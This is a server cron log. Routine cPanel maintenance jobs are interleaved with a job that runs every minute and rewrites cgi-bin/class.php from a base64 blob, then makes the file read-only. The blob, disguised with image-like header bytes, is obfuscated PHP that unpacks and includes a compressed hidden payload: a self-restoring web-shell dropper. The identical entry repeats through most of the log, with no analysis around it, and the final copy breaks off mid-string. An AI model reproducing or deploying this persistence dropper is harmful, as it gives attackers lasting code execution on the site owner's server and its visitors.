Apr  6 19:31:01 server CROND[2170]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 19:32:01 server CROND[2240]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 19:33:01 server CROND[2317]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 19:34:01 server CROND[2387]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 19:35:01 server CROND[2514]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  6 19:35:01 server CROND[2517]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 19:35:01 server CROND[2516]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 19:35:01 server CROND[2518]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Apr  6 19:35:01 server CROND[2515]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 19:36:01 server CROND[2740]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 19:37:01 server CROND[2799]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 19:38:01 server CROND[2884]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 19:39:01 server CROND[2954]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr  6 19:39:01 server CROND[2955]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 19:40:01 server CROND[3026]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 19:40:01 server CROND[3028]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  6 19:40:01 server CROND[3027]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 19:40:01 server CROND[3029]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 19:41:01 server CROND[3154]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 19:42:01 server CROND[3214]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 19:42:01 server CROND[3215]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  6 19:43:01 server CROND[3277]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 19:44:01 server CROND[3341]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJ